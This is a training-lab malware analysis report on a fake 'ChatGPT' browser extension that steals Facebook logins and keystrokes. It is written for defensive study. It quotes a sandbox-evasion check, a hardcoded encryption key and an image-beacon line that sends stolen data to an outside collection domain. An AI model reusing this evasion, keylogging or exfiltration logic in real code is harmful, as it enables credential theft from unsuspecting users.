

Malicious Browser Extension Analysis Report

Case: "FakeGPT" — Malicious "ChatGPT" Extension Investigation

Report Type:	Static Source Code / Malware Analysis
Case Number:	MA-001
Examiner:	Muhammad Shoaib
Date of Analysis:	29 August 2026
Client / Scenario:	Organization affected by fake "ChatGPT" extension (Practice Lab — CyberDefenders)
Evidence Provided:	Extension source files: manifest.json, loader.js, app.js, crypto.js, ui.html
Tools Used:	Manual static source code review, Base64 decoding

1. Executive Summary

Employees installed a browser extension named "ChatGPT," believing it to be a legitimate AI assistant tool. Static analysis of the extension's source code reveals it is malicious: it requests excessive browser permissions, includes sandbox-evasion logic, and contains a content script that captures login credentials and keystrokes on Facebook, encrypts the stolen data, and exfiltrates it to an attacker-controlled domain.

Severity: Critical — confirmed credential theft and keylogging functionality targeting a major platform.

2. Extension Metadata

Field	Value
Declared Name	ChatGPT
Declared Version	1.0
Declared Description	"An AI-powered assistant extension."
Manifest Version	2
Background Script	system/loader.js (persistent: true)
Content Script Scope	<all_urls> — injected into every website visited

2.1 Requested Permissions Analysis

The manifest requests: tabs, http://*/*, https://*/*, storage, webRequest, webRequestBlocking, and cookies. This permission set grants the extension unrestricted access to all websites the user visits, the ability to intercept and modify network requests, and access to browser cookies. This scope is disproportionate to the extension's stated purpose (a text-generation assistant) and is consistent with credential harvesting and session-hijacking tooling.

3. Anti-Analysis / Evasion Behavior (loader.js)

The background script performs an environment check before loading its core functionality:

```
if (navigator.plugins.length === 0 || /HeadlessChrome/.test(navigator.userAgent)) {  
  alert("Virtual environment detected. Extension will disable itself.");  
}
```

```
chrome.runtime.onMessage.addListener(() => { return false; });  
}
```

This check attempts to detect automated malware-analysis sandboxes and headless browser testing environments (commonly used by security researchers) and disables the extension's malicious behavior if such an environment is detected, in order to evade detection during automated scanning.

4. Core Malicious Payload (app.js)

4.1 Targeting

The script defines a target list containing a single Base64-encoded string: **d3d3LmZhY2Vib29rLmNvbQ==**, which decodes to **www.facebook.com**. The malicious behavior below is only activated when the current page's hostname matches this target, indicating the campaign is specifically designed to compromise Facebook accounts.

4.2 Credential Harvesting

A 'submit' event listener is attached to the page. When a form is submitted, the script extracts the username/email and password fields from the form data and, if both are present, passes them to an exfiltration routine.

4.3 Keylogging

A 'keydown' event listener captures every keystroke made on the target site and forwards each one for exfiltration, functioning as a full keylogger in addition to the targeted credential theft.

4.4 Data Encryption (crypto.js / app.js)

Stolen data is serialized to JSON and encrypted using AES (via the CryptoJS library) before exfiltration, likely to evade plaintext detection by network security monitoring. However, the encryption key is hardcoded directly in the source code:

```
const key = CryptoJS.enc.Utf8.parse('SuperSecretKey123');
```

Because the key is static and embedded in client-side code, any captured network traffic encrypted with this key can be fully decrypted by an analyst with access to the extension's source, undermining the intended obfuscation.

4.5 Data Exfiltration

Encrypted data is exfiltrated via an image-beacon technique, appending the encrypted payload as a URL parameter to a request for a 1x1 image, which avoids triggering typical XHR/fetch-based network monitoring:

```
img.src = 'https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData);
```

5. Social Engineering Component (ui.html)

The extension's popup interface presents a convincing, benign-looking description ("This extension will help you generate text using AI") to maintain the appearance of legitimacy and avoid raising suspicion among users, while the malicious content script operates silently in the background.

6. Indicators of Compromise (IOCs)

Type	Value
C2 / Exfiltration Domain	Mo.Elshaheedy.com
Hardcoded AES Key	SuperSecretKey123
Targeted Platform	www.facebook.com
Malicious Extension Name	"ChatGPT" (fake), version 1.0
Suspicious Permission Set	<all_urls>, cookies, webRequest, webRequestBlocking

7. Conclusion

The "ChatGPT" extension is a credential-stealing and keylogging trojan disguised as an AI assistant tool. It specifically targets Facebook login credentials, captures all keystrokes on the target site, and exfiltrates encrypted stolen data to an attacker-controlled server. Its sandbox-evasion logic indicates the developer anticipated security analysis and attempted to evade automated detection.

8. Recommendations

1. Immediately uninstall the extension from all affected browsers/endpoints and block the extension ID/source in enterprise browser management policies.
2. Force a password reset for all employees who had this extension installed, prioritizing Facebook and any accounts using the same or similar passwords.
3. Block network traffic to Mo.Elshaheedy.com at the firewall/DNS level.
4. Review browser extension installation policies; restrict installs to an approved allow-list distributed via enterprise policy rather than open marketplace installs.
5. Educate employees to verify extension publishers and review requested permissions before installing any browser extension, especially those requesting access to all websites and cookies.

Disclaimer: This report was produced as part of a training exercise using the "FakeGPT" practice case provided by CyberDefenders.org. All indicators, domains, and code referenced are part of a simulated lab scenario and do not represent a real client or organization. This report demonstrates static malware/source-code analysis methodology for portfolio purposes.